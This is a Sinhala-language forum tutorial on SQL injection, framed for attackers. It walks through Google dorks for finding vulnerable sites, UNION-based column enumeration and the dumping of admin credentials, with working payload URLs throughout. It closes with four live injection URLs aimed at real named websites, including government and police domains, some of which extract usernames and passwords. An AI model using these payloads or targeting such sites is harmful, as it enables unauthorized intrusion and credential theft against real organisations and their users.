Quantcast
Channel: නව සාකච්ඡාවන් - එකතුව.lk
Viewing all articles
Browse latest Browse all 3679

SQL Injection

$
0
0
කොහොමද කට්ටිය, පහුගිය දවස් ටිකේ වෙබ් සිකුරිටි ගැන පොස්ට් ටිකක් දැම්ම නිසා අද පොඩි hacking method එකක් ගැන කියලා දෙන්න හිතුවා. SQL Injection කියන්නෙ hacking වල ගොඩක් ප්‍රසිද්ධ method එකක්. ගොඩක් අය ඉන්නෙ මේක හරිම සරල දෙයක්, එච්චර දෙයක් නෑ වගේ මතයක. නමුත් SQL Injection හරියට කරන කෙනෙක් නම් දන්නවා ‍මේකෙන් ගන්න පුලුවන් ප්‍රයෝජන, ඒ වගේම මේ‍කෙ වැදගත්කම. මේ වෙනකොට SQL Injection වලට tools ගොඩක් බිහිවෙලා තියෙනවා. (Havij,...) නමුත් හරි විදිහට SQL Injection එකක් කරනවා නම් මේක මැනවල් කරන්න දැනගෙන ඉන්න ඕනෙ. නැතුව කවුරුවත් ලියපු tool එකකින් කරලා නම් ‍වැඩක් නැහැ.

හරි, දැන් අපි බලමු SQL Injection එකකින් කරන්න පුලුවන් මොනවද කියලා.

Bypassing Logins ( login data ලබා ගැනීම )
Accessing Secret Data ( රහසිගත දත්ත ලබා ගැනීම. sql db එකේ තියෙන ඒවා )
Modifying Contents ( දත්ත වෙනස් කිරීම )
Shutting down SLQ server ( SLQ සර්වරය Shut down කිරීම)

දැන් බලමු කොහොමද SQL injection එකක් කරන්නෙ කියලා.

අපිට මුලින්ම SQL Vulnerable website එකක් තෝරගන්න වෙනවා. ඒක අිට පුලුවන් Google වල ආධාර ලබා ගන්න. මම පහලින් SQL Vulnerable Droks කිහිපයක් දාලා තියෙනවා. කැමති එකක් Google වල search කරන්න.


inurl:index.php?id=
inurl:gallery.php?id=
inurl:artical.php?id=


දැන් search result වලින් කැමති සයිට් එකක් තොරගෙන ඒක වෙනම tab එකක Open කරගන්න.මේ විදිහේ link එකක් තමයි ඔයාට දැන් එන්න ඕනෙ.

http://www.target.com/artical.php?id=23

දැන් තමයි අපිට ඒ තෝර ගත්ත සයිට් එක හරියටම vulnerable ද කියලා බලාගන්න පුලුවන් වෙන්නෙ. ඒකට URL එකේ අගට ( ' ) type කරලා Enter බටන් එක ඔබන්න. (පහල උදාහරනයේ විදිහට)

http://www.target.com/artical.php?id=23'

එතකොට එන පේජ් එකේදී ඔයාට error එකක් දකින්න ලැබුනොත් ඒ website එක vulnerable කියලා තහවුරු කරගන්න පුලුවන්. ඔයා තොරගත්ත සයිට් එක vulnerable නැත්තම් තව ලින්ක් දාලා ට්‍රයි කරලා බලන්න.
(උදාහරනය බලන්න)

You have an error in your SQL Syntax:

හරි. දැන් ඊලග පියවරට යමු. දැන් අපිට තියෙන්නෙ columns ගාන හොයාගන්න. එතනදී ටිකක ඉවසිලිවන්ත වෙලා වැඩ කරන්න ඕනෙ. මන් පහලින් දාලා තියෙන පියවරවල් හරි විදිහට අනුගමනය කරන්න.

1. මුලින්ම අර ( ' ) එක අයින් කරගෙන ඉන්න.
2. දැන් මෙතනදී අපට "order by n--" කියන statement එක use කරන්න වෙනවා. ඒකෙදී n කියන්නෙ සංඛ්‍යාවක්.
3. අපිට සිද්ධ වෙනවා n කියන සංඛයාව වෙනස් කර කර බලන්න "Unkown Column" කියන error එක එනකම්. (පහත උදාහරනය බලන්න)

http://www.target.com/artical.php?id=23 order by 1-- (No error)
http://www.target.com/artical.php?id=23 order by 2-- (No error)
http://www.target.com/artical.php?id=23 order by 3-- (No error)
http://www.target.com/artical.php?id=23 order by 4-- (No error)
http://www.target.com/artical.php?id=23 order by 5-- (No error)
http://www.target.com/artical.php?id=23 order by 6-- (Error ! Unknown column)

අපි හිතමු ඔයාට "Unkonwn Column" එක එන්නෙ 6 වෙනි එකේදි නම් ( n=6 ) , columns තියෙන්නෙ 5 යි.

දැන් තියෙන්නෙ Vulnerable columns ටික display කරගන්න වැඩේ. ඒකට "union select" කියන statement එක තමයි යොදාගන්නෙ. "union select" Statement එක දාන කොට ID value එක negative ( ඒ කිව්වෙ ID value එක ඉස්සරහින් (-) රින ලකුන දාන්න ඕනෙ. ) කරන්න ඕනෙ. ඒ වගේම අපි අර කලින් දාපු "order by n " statement එක අයින් කරගෙන ඉන්න ඕනෙ.

columns 5 යි නම් query එක එන්නෙ මේ විදිහට.

http://www.target.com/artical.php?id=-23 union select 1,2,3,4,5--

ඔයාට ආපු columns ගාන අනුව statement එක හදාගන්න ඕනෙ. උදාහරනයක් විදිහට ඔයාට columns 20 ක් ආවනම් 1 ඉදලා 20 ‍ට ‍වෙනකම් කොමා දාලා ලියන්න ඕනෙ. එහෙම කරලා Enter press කරාම page එකක් ඒවි. ඒ පේජ් එකේ ඔයාට දකින්න පුලුවන් ඉලක්කම් කිහිපයක් තියෙනවා. පහල පින්තූරෙ තියෙනවා වගේ. (google ගත්ත ෆොටෝ එකක් දැම්මෙ)

image

දැන් අපිට තියෙන්නෙ එතනින් ඉලක්කමක් තොරගන්න එක ( ඒ ඉලක්කම columns ගනනට සමාන හෝ අඩු වෙන්න ඕනෙ.)
ඔයාට අපු ඉලක්කම් වලින් ඔයා කැමති එකක් තොරගන්න. මම 2 කියන ඉලක්කම ගත්තා කියලා හිතන්නකෝ. දැන් අපිට ඕනෙ මේකෙ Version , database name, user name වගේ දේවල් ගන්න. ඒකට පහල තියෙන query එක යූස් කරන්න.

http://www.target.com/artical.php?id=-23 union select 1,version(),3,4,5--

(මෙතනදී version() කියන එක replace කරන්න ඕනෙ අර අලි කලින් තොරගත්ත ඉලක්කම තියෙන තැනට. මම 2 තොරගත්ත නිසා තමයි එතනට replace කරේ. )

දැන් ඒ විදිහටම පුලුවන් database() , user() එහෙමත් දාලා ඒ විස්තර ගන්න.

උදා-

http://www.target.com/artical.php?id=-23 union select 1,database(),3,4,5--
http://www.target.com/artical.php?id=-23 union select 1,user(),3,4,5--

හරි. දැනට ඔයා හොගත්ත තොරතුරු ටික නොඩ්පෑඩ් එකක දාලා තියගෙන එන්න ඊලග පිවයරට.

දැන් අපිට තියෙන්නෙ tables ටික ගන්න වැඩේ. ඒකට "group_concat" කියන statement එක පාවිච්චි කරන්න පුලුවන්. පහල මම කරලා තියෙන ක්‍රමය අනුගමනය කරන්න.

http://www.target.com/artical.php?id=-23 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--

(මෙතනදි group_concat(table_name) එක replace කරන්නෙත් අර අපි කලින් තොරගත්ත ඉලක්කම තියෙන තැනටමයි. )

දැන් ඔයාට දකින්න පුලුවන් tables list එක. ඒකෙන් අපිට අවශ්‍ය කරන දත්ත තියෙන table එක තොරගන්න ඕනෙ. (admin,user,login...) ඔය විදිහේ එවනේ ඉතින් අපිට වැදගත්. ඉනිත් ඒ විදිහේ නමත් තියෙන table එක තොරගන්න. මම admin කියන එක තොරගත්තා කියලා හිතන්න

දැන් තියෙන්නෙ ඒ admin කියන table එකේ column names ටික ගන්න එක. ඒකට query එක මේ විදිහට හදාගන්න.


http://www.target.com/artical.php?id=-23 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=MySQL CHAR()--

මේ query එක තාම complete නැහැ. අපිට සිද්ධ වෙනවා table_name එක MySQL CHAR() වලට කන්වර්ට් කරන්න. ඒකට අපිට පොඩි addon එක යොදාගන්න වෙනවා. mozilla firefox වල තියෙන HackBar කියන addon එක තමයි පාවිච්චි කරන්නෙ. මේ ලින්ක් එකෙන් ගිහින් ඒක ඉන්ස්ටෝල් කරගන්න පුලුවන්.
දැන් මගේ table_name එක ඇවිල්ලා admin. අපි බලමු දැන් මේක HackBar එකෙන් කොහොමද MySQL CHAR() වලට කන්වර්ට් කරන්නෙ කියලා.

මුලින්ම HackBar එක ඇක්ටිව් කරගන්න. දැන් ඒකෙ උඩ තියෙන මෙනු එකෙන් SQL >> MySQL >> MySQL CHAR() කියන තැනට යන්න.
image

හරි. දැන් ඒක ක්ලික් කරාම ඒවි පොඩි window එකක්. එකේ දෙන්න ඔයා හොයා ගත්ත table_name එක. ඊට පස්සෙ OK click කරන්න. මම ගත්තෙ admin කියන එකනේ. මට දැන් ඇවිලාලා තියෙන්නෙ මේ විදිහේ එකක්.

CHAR(97, 100, 109, 105, 110)

දැන් ඔයාට ආපු MySQL CHAR() string එක කලින් query එකේ අන්තිමට MySQL CHAR() කියලා දාපු තැනට replace කරන්න. දැන් query එක තියෙන්නෙ ඕනෙ මේ විදිහට.

http://www.target.com/artical.php?id=-23 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

දැන් අපිට බලාගන්න පුලුවන් ඒ admin කියන table එකේ තියෙන columns ටික. මට එන්නෙ මේ වගේ column names ටිකක්.

admin_id,admin_name,admin_password

දැන් තියෙන්නෙ මේ columns වල තියෙන දත්ත ගන්න එක. ඒකට query එක හදන්නෙ මෙහෙමයි.

http://www.target.com/artical.php?id=-23 union select 1,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),3,4,5 from admin

මෙතනදී "group_concat(columns_name)" කියන එක මන් කරලා තියෙන විදිහට replace කරගන්න. ඒ කිව්වෙ ඔයාට ආපු columns
වල නම් තමයි "0x3a" කියන එක දාලා ඇතුලක් කරන්න ඕනෙ. ඊට පස්සෙ query එකේ අග "from admin" කියන එකට ඔයා දෙන්න ඕනෙ ඔයා අර කලින් table name list එකෙන් තොරගත්ත table එකේ name එක. මම තොරගත්තෙ admin table එක නිසා තමයි "from admin" කියලා දාලා තියෙන්නෙ.මේ query එක ගහලා enter කරාම ඔයාට පුලුවන් ඒ columns වල තියෙන දත්ත බලාගන්න. දැන් මට මේකෙ admin id, admin name,admin password ලබා ගන්න පුලුවන්. ඊට පස්සෙ ඉතින් තියෙන්නෙ ඇඩ්මින් පෙජ් එක හොයාගෙන ලොග් වෙලා ඉතුරු වැඩ ටික කරන්න විතරයි.

මම මේ අද කියලා දුන්නෙ ඉතාමත් සරල ක්‍රමයක් විතරයි.මේක තමයි Simple SQLI එකක් කියන්නෙ. SQLi වල මීට වඩා advanced method අපිට යූස් කරන්න වෙනවා මේ වෙනකෙට (error based,time base,blind sqli,double query,). මේ ක්‍රමයට ගෙඩක් අලුට් සයිට් වලට ඇටෑක් කරන්න බැරි වෙයි.මොකද Error based ,Time based ,Blind sqli,Double query,WAF bypassing වගේ දෙවල් මම ඇතුලත් කරේ නෑ මන් මේකට.

SQLi වල තව ගොඩක් දේවල් තියෙනවා. අද දීපු ක්‍රමට ඔයාට අඩුම ගානේ විනාඩි 20 ක් වත් යාවි. නමුත් මේකෙත් ‍තියෙනවා ලේසි පාරවල් One-Shot Dump query වලින් එහෙම තනි query එකකින් විතරක් ඔක්කොම කරගන්න පුලුවන් කම තියෙනවා. අද මන් මේ කියලා දුන්න දේවල් වලින් මූලික් දැනමක් ගන්න. ඉස්සරහට පුලුවන් විදිහට කියලා දෙන්නම්. SQLi ගැන උනන්දු අය ඉන්නවානම් කියන්න.


මම නිකන් ඉන්න ගමන් කරපු Sql injection ටිකක් දාන්නම් පහලින්. ඒවත් බලලා මේක ගැන අයිඩියා එකක් ගන්න. :)

http://www.hidmet.gov.rs/eng/osmotreni/radarska4.php?id=-187098 UNION ALL SELECT 1,2, ConCaT(0x223e,0x3C68313E207E20496E6A656374656420425920526F6F745F58207E203C2F68313EDA,0x56455253494f4e3d,version(),0x3c62723e,0x555345523d,user(),0x3c62723e,0x44423d ,database(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)),4--

http://www.opseed.com.bd/forms/news.php?id=-1'+UNION(/***/SELECT(1),(2),(concat_ws(('<br>'),('INJECTED+BY+R00T_X'),(version()),(user()))),(4),(5),(6))--+

http://www.police.gov.bd/content.php?id=-275%27++UNION+ALL+SELECT+1%2C2%2C%28SELECT%28%40x%29FROM%28SELECT%28%40x%3A%3D0x00%29+%2C%28SELECT%28%40x%29FROM%28users%29WHERE%28%40x%29IN%28%40x%3A%3DCONCAT%280x20%2C%40x%2Cuser_name%2C0x3a%2Cpwd%2C0x3c62723e%29%29%29%29x%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16+from+users--+

http://www.tidytowns.ie/interior.php?id=-2+union+all+select+1,2,ConCaT(0x496e6a656374656420427920526f6f745f78207c204561737465726e20437962657220636f6d6d61646f73,0x3c62723e,0x56455253494f4e3d,version(),0x3c62723e,0x555345523d,user(),0x3c62723e,0x44423d+,database(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)),4,5,6,7


Like එකක් Thank එකක් එහෙම දාගෙන යන්න ^_^

Viewing all articles
Browse latest Browse all 3679

Trending Articles